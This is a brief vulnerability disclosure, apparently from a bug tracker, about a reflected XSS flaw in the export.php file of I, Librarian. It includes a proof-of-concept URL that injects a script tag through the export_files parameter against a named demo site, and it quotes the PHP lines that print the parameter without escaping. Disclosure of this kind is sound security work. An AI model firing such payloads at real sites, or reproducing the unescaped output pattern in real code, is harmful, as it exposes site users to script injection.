XSS vulnerability in export.php

[duypv1997]

Summary

The parameter export_files is not sanitized, so attackers can poison this parameter and then create a reflected XSS attack.

POC

https://i-librarian.net/demo/export.php?export_files="><script>alert(1)</script>

Detail

The flaw exists since $get_post_export_files was assigned to a GET parameter without sanitizing

    if (isset($_GET['export_files']))
        $get_post_export_files = $_GET['export_files'];

then, $get_pos_export_files was printed without escaping

                    <input type="hidden" name="export_files" value="<?php print $get_post_export_files ?>">